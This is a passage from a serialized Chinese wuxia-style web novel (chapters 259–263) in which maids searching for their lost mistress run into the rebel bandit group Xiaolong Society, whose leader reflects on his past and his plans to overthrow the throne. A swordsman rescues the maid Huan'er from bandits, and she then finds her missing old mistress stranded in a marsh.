就在这时,旁边另一看起来年龄要小些,梳着一头灵巧的双丫髻女子,不知是因为害怕还是什么,忽然间失声大哭了起来,一边抹泪,一边哽咽着道“小姐,可怜的小姐,你到底在哪儿啊?你知不知道,燕儿来找你了,可为什么燕儿都找了这么久,几乎已是和大家分头寻遍了西秦所有的山河湖泊,却为何始终都不见你一点儿踪影呢?小姐,难道你真的就如此讨厌燕儿,不要燕儿了吗?还是…还是你已经……”

顿时,本应是俩个女子胆怯起来,而此时反倒是那中年男子一脸惊愕,和另一刚刚尚还气势汹汹的女子都不约而同地看向了眼前这个声泪俱下,伤心欲绝的小丫鬟,心里亦都随之油然而生出一种同情的伤感来。

突然,燕儿脸上似是显出来一脸决绝,暗自嘴里低声喃喃道“不,小姐,纵使你真的这般狠心不要燕儿了,燕儿也绝不能没有小姐。小姐别怕,无论上刀山也好,下油锅也罢,燕儿这就来陪你。小姐,你走慢些,等等燕儿……”

只见燕儿一边嘴里喃喃着,其眼睛亦瞬间迅速的抬了起来,朝着四下里犀利地扫了一圈,很快便锁定了院子中央竖起一面骁龙会旗帜的粗壮的杆子,继而朝其拼命地疾跑过去,狠狠地欲要一头撞上去。

“燕儿,不要啊!”另一女子一见眼前情况不妙,却已是惊愣在原地里似是永远都挪不开步来追上去了,只大声地朝其背影疾呼道。

闻声,那中年男子方才似是从正沉浸于其中的悲情里缓过神来。随即眼疾手快地以迅雷不及掩耳之势飞快地一双脚点地,继而整个人便腾空跃起,接着又在空中连翻了两个跟头,便不偏不倚稳稳地停在了燕儿眼看着正欲要撞上去的那根旗杆面前。

于是,燕儿便整个人重重地全力撞在了那中年男子结实的胸膛上,又被其猛地弹回倒在地上,一屁股重重地瘫坐在满是尘土的坚硬极了的地面上。

尚未等燕儿反应过来,另一女子便已忙奔上前来,俯身下去将其扶住,一脸惊魂未定地苦道“燕儿,你这是做什么?难道你不要命了吗?”

这时,燕儿方才似是缓过了神来,却依旧皱紧了眉头,吸着鼻子,声泪俱下着道“兰香姐,我们大家这么多人,这几日,几乎已经寻遍了所有水流经过的地方,却始终都丝毫没有关于小姐的任何消息,怕是早都已经错过了营救她的时辰。我家小姐她…她是不是已经…她一定是已经…已经……”

燕儿已然话提到了嗓子眼上,却始终都不敢说出口来。兰香一听她这番丧气话,顿时一脸怒气忿忿地朝其怒吼警告道“呸呸呸,不许你说这么不吉利的话。有道是‘好人有好报’,她一定

不会如此轻易便死去的。我不许你这么想,更不许你这么说,不许,你听到了吗?”

燕儿被这突然而至的严肃极了的厉声呵斥,惊地一愣一愣地。

就在俩人面面相觑着,都不知所措时,一直静静在旁边立着的中年男子缓缓踱步到其身边来,朝着二人各自打量怔望了一会儿,开口问道“你们俩吵吵闹闹,哭哭啼啼,都闹够了没有?知不知道这是什么地方,竟敢在此如此无视本帮主的存在,任自妄言?”

闻此,燕儿和兰香俩人方才抬起头来朝着男子身后的旗杆上看去。燕儿止住了哭声,低声纳闷地照着旗帜上甚是醒目的三个字念道“‘骁龙会’?是做什么的?”

兰香亦一脸不屑地将那旗帜瞟了一眼,继而急急接过其话头来,轻蔑地道“哼,还能是做什么的?无非就是些落草为寇,打家劫舍,无恶不作的土匪,强盗呗!”

“哼…你一个姑娘家,一开口说话,便如此尖酸刻薄,莫非你爹娘从小没教过你待人说话的礼数吗?”中年男子冷冷地朝其哼笑了一声,单手负后着平静道。

燕儿听了兰香的话,虽心里亦是突然惊了一下,害怕极了,但仍伸手默默地在底下悄悄扯了扯兰香的衣角,示意其不要惹祸上身。

然兰香却似是根本就不将这些土匪强盗的嘴脸和恐吓放在眼里,反而挑眉对其更加蔑视地扬声故意挑衅道“哦?这位大叔,我们以前应该没见过吧!你是怎么知道兰香打小就是个有人生没人养的孩子。还是…这位大叔自己本来也就是和兰香一样的人呢?莫非,兰香方才有哪一句话说错了,冤枉了大叔你这骁龙会不成?”

闻此,燕儿一时间里似乎都被兰香的这番话吓得心惊肉跳了起来,连连拉扯着她的衣角,小心翼翼地怯声道“兰香姐,还不快住口,不要再说了。”

岂料,那中年男子听了竟突然仰天大笑了起来“哈哈哈哈哈…哈哈哈哈哈,你这个小姑娘,说话倒是很真诚嘛。竟胆敢对本帮主胆大妄为地畅所欲言,又如此言辞犀利,得理不饶人。不过,这话虽然难听,倒是这性子…看起来倒是与本帮主颇为相似呢。”

突然,那中年男子收敛笑声,一脸严肃地瞪向兰香,缓缓踱步近身到其身旁又俯下身来盯着她的眼睛片刻后,在其耳边低声道“你这个样子,让本帮主竟然忍不住想要……”

此时,兰香心里竟也突然七上八下了起来,惊声道“你想做什么?”

中年男子故作神秘道“怎么?方才不是还一副牙尖嘴利,天不怕地不怕的模样嘛,就这会儿功夫便卸下来胆了?放心,今日本帮主高兴,一日之间认识了这么多漂亮的姑娘,且看在如此喜欢你的份上,本帮主不介意,倒是想先听听你们的故事。你们谁来把来此的目的跟本帮主讲讲清楚呢?本帮主至今都被你们这俩个丫头吵闹地耳朵里直嗡嗡作响,稀里糊涂的,你们俩到底是什么关系,是一起上山来的?”

“你……”兰香显然已经被眼前这个四十多岁的中年男子的耐心惊呆了,长这么大,在万娇阁里,她什么样的人没见过,倒似是第一次被一个人的耐心打败。

看着兰香已然是一脸的惊愣,那中年男子抬手指着尚还怔愣,瘫坐在地上的燕儿道“不如,你来说吧。”

燕儿这才忽地回过神来,幽幽道“大叔,哦,不,帮主。我是从皇城城西衣府千里迢迢来此寻我家小姐的,我叫燕儿。我家小姐,她前几日从城南北山的悬崖上不甚坠落入崖底的碧水湖里,那夜又逢霹雳漫天,大雨滂沱,我家小姐便因此不知了去向。”

“城南北山?你没搞错吧,从那么高的悬崖上落下,竟还能活着?”中年男子闻此,大吃一惊道。

“小姐她活着,她一定活着,因为她并不是一个人坠落悬崖的,还有秦…还有其他人与她一同落崖,也都还好好活着。”燕儿激动地欲言又止道。

“那你家小姐长的什么什么模样?可有画像可做参照?”中年男子想了想,又问。

“我家小姐,她…因为她一出生,脸上便有一甚是愕人的红色胎记,故平日里总遮着一白色面纱,所以……”燕儿无奈地道。

“连画像都没有...遮一白色面纱……”中年男子若有所思地暗自喃喃道。

于是,他又着急地忙问道“那你家小姐叫什么名字?”

“我家小姐,她是城西衣府的嫡长女,名叫衣上云。”燕儿道。

“衣上云?若曦?…你家小姐是不是个瞎子?”中年男子心中快速地一对比,忽地又问。

“你才是瞎子呢!我家小姐她很好,她是这个世上最好的小姐,最温柔善良的人。若不是因此,过了元宵节,小姐就是城东秦王府的一名医女,秦王殿下可是很看重我家小姐的。”燕儿怎会允许有人如此诋毁她的小主人,于是气急败坏地道。

“秦王府?…哼,那秦王轩辕翰,只不过一个黄口小儿,有什么能耐?只不过是空有个皇族身份罢了而已。很快,他便会什么都不是了。”中年男子信誓旦旦地道。

“你这话是什么意思?听闻近来有些地方上土匪猖獗,已威胁到朝廷,莫非你是想要造反不成?”这时,兰香忽然醒过神来,抢话道。

“造反?这西秦大地本来就是属于我的,我只是夺回属于自己的一切而已。”中年男子忽然握紧拳头,朝着二人一脸狰狞道。

顿时间,俩个女子一脸惊愕地握紧对方的手,面面相觑起来,却闻那中年男子对一旁的俩个手下命令道“既然来了,就别想走了。来人,将这俩个女子带下去,负责日常的茶水事宜,本帮主要留着她们,让她们亲眼见证本帮主所做的一切。在此期间,谁若是敢动她们半根汗毛,本帮主绝不轻饶。”

“你们要干什么,松开,快松开……”于是,俩个女子用力挣扎着被俩名壮汉押着带了下去。

第二百六十章:春夜倚楼叹浮生

娇云弄暖春渐深,孤灯扰人愁更愁,倚楼对月空长叹,悲莫悲兮生别离。美人渐旧何所依,与谁共剪西窗烛,卿可知我心中恨,半世浮生半世梦。

是夜,骁龙会当家龙恩龙帮主一高大伟岸,气质脱俗的身影正凭窗而立,遥望着窗外的一片甚是诱人的朦朦胧胧月色。

在其房内一盏昏暗的烛火照耀下,那身影映在阁楼上的菱花窗纸上,看起来似是正若有所思地深陷在一片思绪万千的愁苦之中。

想一想,这半生,自己也曾花前月下,人面桃花红。尔今,唯剩下金戈铁马,血雨腥风,剑指天涯。心中怕只怕,英雄气短,一败涂地,有一日成者为王败者寇。终是逃不过一把辛酸泪,掩没于尘埃。

今生这无奈的相思绵绵,下一世的婵娟相邀,来世再见,此去定当不负流年。

“咚咚咚”

忽然,一阵紧急的叩门声响起,将其所有的思绪通通打断。于是,他无奈地收敛住心情,又重重地叹了口气,道“进来。”

顿时,只见进来个与其年龄小不了几岁,大摇大摆,一袭宝蓝色锦袍,墨发半束,尖嘴猴腮,鼻子不是鼻子,眼睛不是眼睛的小人模样来。

像是受了莫大的委屈一般,一进来便横眉竖眼地兀自朝着屋内的一圆桌旁走了过去,又哼了一声,方才坐了下去,继而对着另一边空地上吹胡子瞪眼,气呼呼地道“大哥,今天白日里,你这是什么意思?”

闻声,龙恩缓缓踱步过去亦坐了下来在其身旁,甚是不解地严肃道“二弟何出此言?什么什么意思?有话不妨直说。”

原来,此人便是与龙恩一起创立了骁龙会的二把手,骁龙会如今的副帮主龙烨。此人极其好色,擅长拉拢人起哄,心狠手辣,又好耍小聪明。

“大哥莫要与我装糊涂,今日青天白日里,为何要当着底下兄弟的面前驳我的面子,让我难堪。不就是两个妞嘛,有什么大不了的?兄弟我这些年来鞍前马后地为你,为这骁龙会操持了多少,没有我,能有今日如此强大的骁龙会吗?再说了,当初你不也是骗了一个又一个的良家女子,还将那户大……”龙烨胸中窝火着欲言又止道。

龙恩听着他恼羞成怒的埋怨声,临话了的时候,原本一副淡定自若地正在斟茶的手忽然间停顿了一下,龙烨便正好收了声。

龙恩亲手将斟好的新山茶向其递了上去,正色着对其一脸严肃道“我知道,这些年,为了成立骁龙会,你将自己毕生所有的积蓄都投了进去,又带领兄弟们到处出生入死,的确付出了很多。但是…我再申明一次,骁龙会不是打家劫舍,无恶不作,奸淫妇女的土匪强盗。我们要做的是推翻这个残暴不仁的朝廷,所以,不要对轩辕皇族以外任何无辜的人动手,永远都不许。记住,是永远!”

闻此,龙烨不禁顿时扭头朝着龙恩怔愣住。

稍作歇息,龙恩继续警告其道“你想要女人,要么花钱娶一个正经人家的女子回来。要么,除了西秦国的头

号招牌万娇阁刚刚被秦王封了以外,城南的烟花柳巷遍地都是,多的数不胜数,不用我亲自带你去吧。还有…亦永远都不要在我的面前投机倒把,试图挑战我的底线,你知道结果的,不是么!”

岂料一时间里,龙烨终是没忍住,竟突然眉头竖成了个川字,一把重重地拍在了俩人之间的那张圆桌上,将陶瓷小茶盏都震碎了,继而又忿忿起身来朝其扬声破口大怒道“凭什么?凭什么你可以,我就不可以,当年你在城南里……”

怎料未及其再次将话说完,龙恩便忽地起身来,又似是鬼使神步一般迅速地移身到了龙烨的身前,伸出手来一把狠狠地掐在了龙烨的脖颈处。

顿时,只见其满脸胀红,似就连耳朵都一片通红的颜色,整个人瞬间被掐的都快要喘不过气来。他拼命地挣扎着想要用自己的两手将其掐在自己脖间的大而有力的手掰开,岂料却丝毫都撼动不了。

俩个人,一瞬间,就这样大眼瞪着小眼,看着彼此之间眼里的决心。

许久后,终是龙烨先无力继续支撑下去,败了下来,继而一脸狰狞地向其妥协求饶道“大哥,松手,快松手。我…我错了,以后…我再也…再也不敢了。”

至此,龙恩方才收敛力量终得以罢手,单手负后,侧身对着其,语气稍温和地对其语重心长道“二弟,你要知道‘民能载舟,亦能覆舟’,任何时候,只有天下的黎民百姓才是真正具有最强大力量的所在。曾经,因为没得选择,不得已大哥做错过很多事,并铸成了这一生永远都无法弥补的遗憾,大哥不能眼睁睁看着你重蹈我的覆辙。现在,我们还有的选,你我也都早已过了不惑之年,凡事定当时刻以大局为重才是!你看今日里的那俩个女子的年纪,她们都可以做你我的女儿了,都只不过还是个孩子而已,你怎舍得对她们下手呢?!”

龙烨听了龙恩的这番话,似是真的有了些许动容。一转念又带着些好奇地默默问道“大哥,这些年来,总不见任何女人曾入大哥的眼,底下兄弟们甚至都还猜测着,以为大哥你那方面不行呢……该不会是…大哥你是不是至今都还恋恋不舍以前的那俩个女人?”

见其一直沉默着不说话,一脸悠长着,龙烨忽然对此更加好奇了起来,又忙上前去着急地追问“大哥,既然心里对她们如此放不下,那又何不让兄弟们帮你到处去打听打听,找找她们呢?”

龙恩凄冷地一阵哼笑,道“找?怎么找?能找的地方,我早都已经找遍了,她们一定是故意躲着我,对我失望透顶,此生都不愿再见我。如今,即便就算是找到了,我又还能对她们说些什么?挽回些什么?身为女人,当初她们把身为一个女子最美好的一切都托付给了我,可我却…事到如今,我还有何颜面回去面对她们。”

“这有道是‘浪子回头金不换’,大哥如若是真心放不下,又何愁无颜面对呢?这世上的女人,贯都是哄哄骗骗几句甜言蜜语,所有的恩怨便就都烟消云散过去了。”龙烨一副趾高气昂,似

是极富有经验一样地津津乐道。

”哼…即便这世上的女子皆都一样,可她们俩个,却偏偏不一样...她们一个是我最深爱的女人,而我却为了成就大业,不惜狠心将她们母女弃之如敝履…另一个...更是因我而惨遭家破人亡,她是我这辈子最对不起的女人。若是再见,只不过是徒增伤感一缕罢了,还不如让她们都以为我已经死了。对抗朝廷,九死一生,或许这样对她们更好,这辈子所欠下的债,惟愿下辈子能对她们得以偿还。只希望来生里,我们还能有缘再相遇……”龙恩终是叹了口气,摇摇头欲言又止道,唯只见其眼里满含着无尽的忧伤。

此话一出,一室寂静。

许久后,龙恩缓缓将一手伸出附在龙烨的肩头上,对其道“二弟,你既然甘愿一生都跟着我同姓,那我们彼此便就是对方在这个世上最至亲的人。实不相瞒,今日所遇到的那个言语犀利的孩子,不知为何,我一看到她,便对她油然而生起一种莫名的亲切感。不过绝不是你想的那样,我只是在想,若是我的女儿也还活着的话,她应该也有这么大了吧!”

看着龙恩一边说,一边一脸惆怅地抽掉了手,缓缓背过身去。龙烨无奈地对其轻唤了一声“大哥……”

龙恩背对着他,半伸起手来,道“我没事!”

为了缓解此时的沉重气氛,龙烨终转念道“对了,大哥,弟兄们都已经准备的差不多了。不知我们何时方才能踏足皇城,取了那残暴不仁的帝的项上人头,再由大哥你来登基称帝呢?”

闻此,龙恩方才重重地吐了口浊气,回过神来幽幽道“如今的西秦朝廷,早已是外忧内患,苟延残喘,四面楚歌。不过,为了保险起见,我们还需再等等。”

听罢,龙烨当即不耐烦地跳脚道“再等等?弟兄们都恨不得现在马上就取了那狗皇帝的项上人头来当球踢。难道...大哥也是闻风丧胆,在担心那个灵空战神,秦王轩辕翰吗?”

“哼,一个只知道些花拳绣腿的黄口小儿,何足为患?我是在等那个西秦守护者的现世?”龙恩冷声道。

龙烨纳闷地问“‘西秦守护者’?大哥说的可是那个据传拥有神奇的力量,能保西秦国泰民安、永享太平的守护者?可世间不是皆传那守护者遗孤20年前已经……”

不及其将话讲完,龙恩便打断其说道“哼,西秦守护者,之所以能世世代代均以守护西秦天子为终身之己任,那是因为守护者本身又得以凤凰之神力的庇护,方才得以生生不息,又岂是那么容易便会死的。”

“原来如此,可我们怎么才能得到关于守护者的真实消息呢,如今对此,世人皆是众说纷纭。”龙烨此时方才恍然大悟。

龙恩道“此事我自有办法,无须你操心,你只需尽心管好底下的弟兄们即可。”

闻此,龙烨的心里好奇极了,而龙恩则半眯起眼睛来,沉沉地凝视向屋内的那盏昏黄的烛火之光,心里暗暗道“是时候该去会一会老朋友了!”

第二百六十一章:湖边惊魂

纵使红尘千百,无论如何变换;也会如黎明破晓一般,终会尘埃落定。

当黎明的第一缕曙光就快要洒落下来的时候,西秦城南郊外的两座云雾缭绕的青山夹在中间的一潭静谧的湖面上,远远的隐隐约约忽现出一叶随波摇曳的扁舟来,尚还发出一阵明明灭灭,似是微弱极了的光点。

湖岸上,一周围杂草丛生,破旧不堪的凉亭里,一个衣着单薄的小丫头坐在里面,歪着脑袋趴在石桌上,两条腿无力的垂着,似是不知什么时候,就已这样哭着哭着实在累的无力支撑,便不知不觉就这样挂着泪痕睡了过去。

直到天边泛红,雾气散去,方见是一个小僧手执双桨,缓缓划水而来。

那条摇摇曳曳的扁舟很快靠了岸来,走下一位看似虽已不再年轻,却风韵犹存,气质不凡的老妇人,肩上挎着一轻便的包袱。

她微微抬起头来,侧身对着朝阳,露出一抹好看的浅笑,许是因为朝阳照耀的缘故,一贯清冷的面容这一刻似是被阳光镀了一层金,宛若神祗一般。

告别了小僧,老妇人兀自轻盈的踱步踩着光亮的石阶踏入了岸上的凉亭里,一副慈祥玉立之势,温柔的缓缓伸出手去,轻笑着拍了拍熟睡之中小丫头的肩道:“欢儿,欢儿。”

“老夫人,老夫人,你终于回来了,欢儿好想你啊,你让欢儿担心死了!”伴随着这声喜极而泣的喃喃之音,凉亭里的小丫头方才缓缓从睡梦之中渐渐地睁开了眼睛。

却是一瞬间猛地端坐起身来,继而又怯怯地蜷缩起身子,眼睛直勾勾地瞪着面前的两个腰间别着锃亮锃亮的大刀的红衣壮汉惊声问道“你们是什么人,你们要做什么?”

原来,方才所出现的一切竟然皆都是梦境。那将手搭在她瘦小的肩上的并不是她心心念念所期盼着的老夫人,而是此时眼前最真实出现的两名正朝着她张着血盆大口,呲牙咧嘴,一脸坏笑,张牙舞爪的看似其打扮像极了强盗匪类的人。

那两名红衣壮汉闻声,顿时上来对其左右夹击,坐在了欢儿的两旁,一边放肆地对她笑着,其中一矮胖的壮汉说道“你这个小丫头,就这么想知道爷爷是谁吗?爷爷敢说,就是不知小丫头你可敢听呢?”

说着,便态度极其轻浮地拨弄了下欢儿胳膊上的衣衫。

欢儿似是本能地一侧身躲闪了开来,心里虽已怕的要命,却依旧故作镇定道“你要做什么?快住手,不然我就要喊人了?”【…~¥@更好更新更快】

“喊人?哼……这里荒郊野外的,除了我们骁龙会几个苦命早起不得不四处觅食的兄弟,还有谁胆敢天刚微微亮会来到这里寻事。今天,你就算是喊破了喉咙,也不会有人来救你的。”那矮胖的红衣壮汉随即故作

四下里看了看,道。

“什么?骁龙会?那是什么?在哪里?我以前怎么从没听人说过?”欢儿连连惊问道。

“什么?你连响当当的‘骁龙会’都没听过。那你又是从什么鸟不拉屎的地儿冒出来的,爷爷今儿就让你好好长长见识。”此时,这两名红衣壮汉不禁面面相觑了一下,似是此欢儿还要吃惊。

以往路经此地打劫之时,人们都是一听到骁龙会的名字便闻风丧胆的,而这个丫头,从她的眼睛里看来看去,似是她真的对骁龙会一无所知。

于是,那矮胖壮汉朝着欢儿身旁的另一黑的发亮的红衣壮汉命令道“来,给这个小丫头好好说道说道咱们英勇神武的‘骁龙会’!”

于是,那名受命的壮汉清了清嗓子,趾高气昂又一本正经地道“好,小丫头,现在把你的耳朵给大爷竖起来,认真听好了。现在,就由大爷我给你来讲讲天下第一无敌帮会‘骁龙会’的丰功伟绩。骁龙会地处西秦以南的山外山,河外河。我们整日里做的事…那就是…哈哈哈…劫财劫色,抗击朝廷,无恶不作。哈哈哈哈哈,哈哈哈哈哈!”

“骁龙会…抗击朝廷…你们是…起义军?”欢儿顿时惊的将眼睛瞪地如铜铃一般大,道。

“哎呀呀,小丫头挺聪明的啊,一点就通,真是‘需子可教也!‘”那矮胖壮汉故作一副很有学识的样子插嘴道。

“大哥,是‘孺子可教也’!”另一壮汉绕到欢儿的背后,使了个眼色朝那矮胖壮汉悄声纠正道。

岂料这出一闹,反倒恰巧似是瞬间消除了欢儿心中的恐慌,她忍不住不禁“噗嗤”笑出了声。

见此,那矮胖壮汉骤然面露尴尬之色,继而立刻起身来将一脚抬起,屈膝狠狠地跺在了方才落座的石凳上,顺势拔出了腰间的大刀,将其横在欢儿的面前,朝她凶神恶煞地嚷嚷叫嚣道“笑什么,笑什么,严肃点儿,看不出爷爷们是来打劫的吗?还不赶快将身上值钱的玩意儿通通都交出来。”

见此,欢儿似是又再次提心吊胆了起来,吞吞吐吐道“我…我是出来寻找我家老夫人的,出门太急,身上并未带什么值钱的东西。”

“什么?老夫人?听起来倒还像是个大户人家里出来的一般,想必家里一定会很有钱吧?”闻此,那矮胖壮汉一脸欣喜道。

“哦,不不不,我们家里只有我和我

第二百六十二章:主仆终相逢

“放开我,放开我,你们这些畜牲,你们就不怕天打雷劈吗?”欢儿使出浑身力气来,双腿用力地乱蹬挣扎着。

然很快,那矮胖壮汉便将她拖到了目标位置,又将其翻了个身方才丢开手来,自己则缓缓开始宽衣解带起来,露着一脸邪恶至极的奸笑。

“你要做什么,不,不要,我求求你,不要……”欢儿一边乞求着,一边使出浑身力气来用胳膊艰难地支撑着此时已然虚弱极了的小身子朝后躲避着。

她终究还只是个未经世事的十三岁的孩子而已,此刻早已是吓得魂飞魄散。嘴角的鲜血都还顾不上去抹一把,满脸通红的手指印,更顾不得感知其疼痛,就连那可怜的乞求声亦变得愈来愈似是无力。

就在这千钧一发之际,眼看着那名矮胖壮汉手里已一边提着裤腰带,一边一步一步欲要附上来的时候,欢儿回头一看发现再已无路可退,于是绝望地紧闭起了那双稚嫩又明亮的清澈眼眸来,放弃了所有挣扎。

“哐”

岂料,却怎的忽然传入她耳畔一阵似是什么重物摔倒在地所发出来的声音。瞬间,似是她周围的一切都静止了下来,安静极了。

于是,不明所以的欢儿惶惶不安,怯怯地试探着将眼睛慢慢睁了开来,顿时被眼前的景象惊呆了。

只见那欲要向她行苟且之事的矮胖壮汉正倒在地上,大口大口地吐着鲜血,一只手附在其鲜血淋漓的左胸前,整个身子亦都一抖一抖地不停抽搐着,眼睛瞪的无限大看向前方,一副痛苦极了的悲惨模样。

而就在那壮汉的身旁,不知何时,似是从天而降一般地玉立着一个墨发半束,一袭锦衣白袍,外披着一件玄色披风的高大伟岸,英俊潇洒的翩翩公子。

那男子手持长剑,将其横在自己身前,正冷眼忿忿地怒对着狼狈倒地的那个禽兽,锋利的剑尖上所沾染的血滴都尚还在一滴一滴地滑落着。

稍时,男子那双睿智的星眸又即刻朝向身后不远处的凉亭边上,那早已惊吓的目瞪口呆的另一壮汉身上斜了过去。

那壮汉似是方才忽地回过了神来,却吓得已是连手中的大刀亦都握不住了一般,只愣愣的任其自由滑落在地,尚还顾不得捡拾起,拔腿便连滚带爬地落荒逃窜了去。

岂料,尚还没有逃出两步,便被男子手中飞出的长剑不偏不倚正好扎在了其心窝正中,继而惨叫一声,亦扑通一声重重地倒地送了性命。

那男子这才缓缓朝其走了过去,拔出自己的剑,又转身背对着其幽幽道:“自作孽不可活!光天化日之下,竟敢强抢民女,莫非是真当老天瞎了眼嘛!”

话音刚落,男子便赶忙回过神来一边揭下自己的披风,一边朝着狼狈不堪倒在地上似是已丢了魂的欢儿身旁疾奔了过去。

他蹲身下来,亲手用自己温暖的玄色披风紧紧地将欢儿裹住,一只修长的大手温柔地搭在她瘦小的肩上,柔声在其耳畔关切道:“姑娘,你还好吗?”

许正是

这极尽温暖心扉的一声问候,方才唤醒了正处在沉沉怔愣中的欢儿。她似是刚从一场噩梦中醒来又尚还惊魂未定着,瞬间扑到男子的怀中,再也忍不住地哭出声来,眼泪哗啦啦地顺着脸颊流下“呜呜呜……”

半晌后,见她蜷缩在自己的怀中,似是已有些平复了下来,男子方才轻拍着她的肩头开口安慰道:“姑娘,没事了,不要再担心了。”

至此,欢儿方才赶忙跪身下来,朝男子连连叩首致谢道:“欢儿多谢恩人的救命之恩,大恩大德,欢儿没齿不忘,敢问恩人尊姓大名?”

男子忙将其扶起,道:“快起来,快起来。路见不平,拔刀相助,皆只为举手之劳而已,姑娘又何必多礼。你唤我陆大哥即可。”

“陆大哥……”欢儿含羞起身,低声重复了一句。

这时,男子看了看那两具丑陋的尸体,又细细打量了一番欢儿,疑惑不解道:”看姑娘的衣着打扮,像是正经人家的女子。不知为何会大清早地出现在这片荒郊野外,遇上这伙强盗呢?”

闻此,欢儿顿时愁容满面,吸了吸鼻子,道:“欢儿是来找我家老夫人的?”

“找你家老夫人?”男子蹙眉疑惑道。

欢儿点点头,方才对其缓缓道来……

半晌后,男子终于明白了一切,对欢儿说道:“这可真是赶巧了,我刚从城南城隍庙里拜访出来。玄空大师近日里并不在庙中,也从未听人讲起过庙内有人在等大师啊。想必,你家老夫人一定不在城隍庙里。她会不会是已经从别的路回家去了,正好和你错过了也是未尝不可的事。”

“不可能,这个湖边是从我们村子到城隍庙的必经之路。要么从湖上乘舟绕过去进到城里,要么走路直行是最快的。老夫人有急事,不可能乘舟。再说了,她出门没多久,欢儿便追了上来,可一路上并未见到任何其他人,不可能错过的,老夫人一定不会是回家去了。”欢儿似是尤为肯定的样子道。

“那她还能去哪儿呢?...对了,她有没有亲戚朋友,会不会是去找他们了?”男子摸摸脑袋,又猜测道。

欢儿摇摇头,黯然道:“我们老夫人除了我们村子里的人和玄空大师以外,一个亲戚朋友都没有。”

“那就怪了,难不成她一个大活人,还能凭空消失了不成?”男子纳闷道。

此话一出,俩人瞬间都静默了下来。

不知过了多久,男子忽然回过神来,面带着些难色道:“姑娘,那你接下来打算怎么办呢?总不能一直呆在这里等吧。而且,我还有要事在身……”

欢儿闻声,顿时有些尴尬地道:“喔,陆大哥有事您便去忙你的吧,真是不好意思,耽搁了你这么久。”

“那你...你还能走吗?”然男子看了看欢儿身上的伤,仍然担忧道。

“欢儿没有大碍的,陆大哥放心,你赶紧去忙你的吧,别耽搁了你的正事。”虽然嘴上说的轻巧,然身体却无比诚实地出卖

了她的谎言,欢儿逞强地试了试欲站起身来,这才发现她根本就伤的不轻,站不起来。

“好了,别逞能了,我看我还是先扶你到那边凉亭里,帮你敷些药吧。”男子吐了口浊气,无奈道。

正在凉亭中敷药,欢儿似是隐隐约约听到了有人发出极其微弱的低吟声来,便忙打断正专注于手上轻柔动作的男子道:“陆大哥,你快听,有没有听到什么声音?”

许是方才怕手劲重了,弄疼了欢儿,只全神贯注于手上的动作,此时一停下来,集中注意力一听,男子还真的听到了一些什么。

于是,他放下手里的药瓶,拿起石桌上的佩剑走出凉亭,寻声缓缓试探着朝芦苇丛的另一面绕了过去。

随着声音越来越接近,男子小心翼翼地轻声踱步,悄悄地拔出剑来,用左手中紧握着的剑鞘轻轻地将芦苇拨开,却猛地瞪大了眼睛朝着眼前瘫在泥潭里的一满身淤泥,似是已奄奄一息的老妇人扬声惊道:“你是什么人?为何会在这儿?”

而那已陷入这片泥潭中足足已有一夜的老妇人,早已是饥饿加上疲惫和恐惧,头昏眼花地一见到此时终于出现的男子身影,似是终于安心了下来,竟忽地晕了过去。

“老人家,老人家,你醒醒,醒醒……”男子忙俯身下去将其身子用力地摇晃了两下,却不见任何反应,便二话不说将其横抱了起来,兀自朝凉亭里飞奔回去。

欢儿远远地一看见那熟悉的不能再熟悉的发髻,那自己每天都亲手为其插上去的每一个头饰,忙惊立起身来,双腿却瞬间似是极不听使唤地怎么都迈不开来。好一会儿,方才一边大声哭喊着,一边疾奔出凉亭:“老夫人,老夫人,您这是怎么了,怎么了呀……”

“快,快去找干净的水来。”男子顾不得吃惊,只一边跑一边急急吩咐道。

俩人经过好一番折腾,老妇人方才终于再次缓缓睁开了眼睛。

欢儿一见其醒来,便一脸担忧地朝其伤心道“老夫人,您这究竟是怎么了呀?欢儿好担心你,你怎么会陷入泥潭里的呢?这一夜,您都是怎么过的呀,呜呜呜……”

然老妇人待一看清眼前的一男一女,尚还顾不得问欢儿的一身狼狈,只虚弱极了地吃惊问道:“欢儿,你...你怎么会在这里?若曦呢?”

欢儿似是这个时候方才想起来家中的若曦,便吞吞吐吐道“若曦,若曦她...她本来是要和我一起出来寻你的,刚一出门,村里的樵夫跑来说王二在山里好像中毒了,若曦便...便让我先来追你,她...她跟着樵夫上山去给王二解毒了。”

“什么?欢儿,你好糊涂啊,你怎么能留她一个瞎子独自在家里呢,她若是有个什么闪失,老身我可就成了这西秦的罪人了啊?”老妇人闻之,激动地道。

“那...那怎么办?是若曦她自己说,她早起后,已经感觉恢复了些许光感,我才...才……”欢儿顿时亦惊慌失措道。

“赶快回去,快点!”

第二百六十三章:活菩萨说的没错

“什么?欢儿,你好糊涂啊,你怎么能留她一个瞎子独自在家里呢,她若是有个什么闪失的话,老身我可就成了这西秦的罪人了啊!”老妇人激动地说道。

“那...那怎么办?是若曦她自己说,她早起后,已经感觉恢复了些许光感,所以我才...才……”欢儿顿时亦惊慌失措道。

“赶快回去,快点!”老妇人说着,便激动地挣扎着欲要站起身来。

欢儿见了忙上前去伸手将其按住,一脸茫然不知所措道:“老夫人,您不要激动,若曦她福大命大,相信她一定不会有……”

“啪……”岂料尚未等欢儿将话说完,老妇人气喘吁吁却依旧使出来一记重重的耳光,先冷不丁地落在了欢儿早已伤痕累累的稚嫩小脸上。

接着,她抚着胸口忿忿对其责备道:“欢儿啊欢儿,你跟着老身已不是一日两日了。这么多年过去了,如今你是越来越忤逆了。老身的话,你竟都当做是耳边风了吗?既然你的翅膀都已经这样硬了,那还跟着老身做什么?你走,你走,老身再也不想看到你,走!”

“老夫人……”霎那间,只见欢儿似是本能地伸手捂起脸来,用力地抿起嘴角,满腹的委屈顿时一起涌上了心头,不知如何排解,只得猛地转过身去趴到了凉亭边的护栏上默默地独自抹起泪来。

这时,立在俩人边上一直惊讶连连的男子方才似是稍微有些了解到眼前这二人之间所发生的事。

他看了眼伤心痛哭着的欢儿,随即忙踱步上前到老妇人的身旁,对其恭敬地行礼并劝慰道:“这位老夫人有所不知,欢儿为了寻您,方才遇到了两个土匪,若是在下再晚来一步的话,怕是欢儿她就要失去女子的清白之身了。欢儿姑娘本应纯良,正是因为她与老夫人多年来朝夕相伴,相依为命,这份难能可贵的主仆情谊,才会使她急中乱了方寸。再者说了,无论她犯了多大的错,终究她也还只不过是个孩子而已,老夫人又岂能忍心就此将这样贴心忠诚的一个丫头打发了呢?方才听您说,主要是担心家中的另一位眼盲的女子无人照料,方才至此。也罢,有道是‘帮人帮到底,送佛送到西’就让在下送你二人即刻速速返回家中,不知老夫人意下如何?”

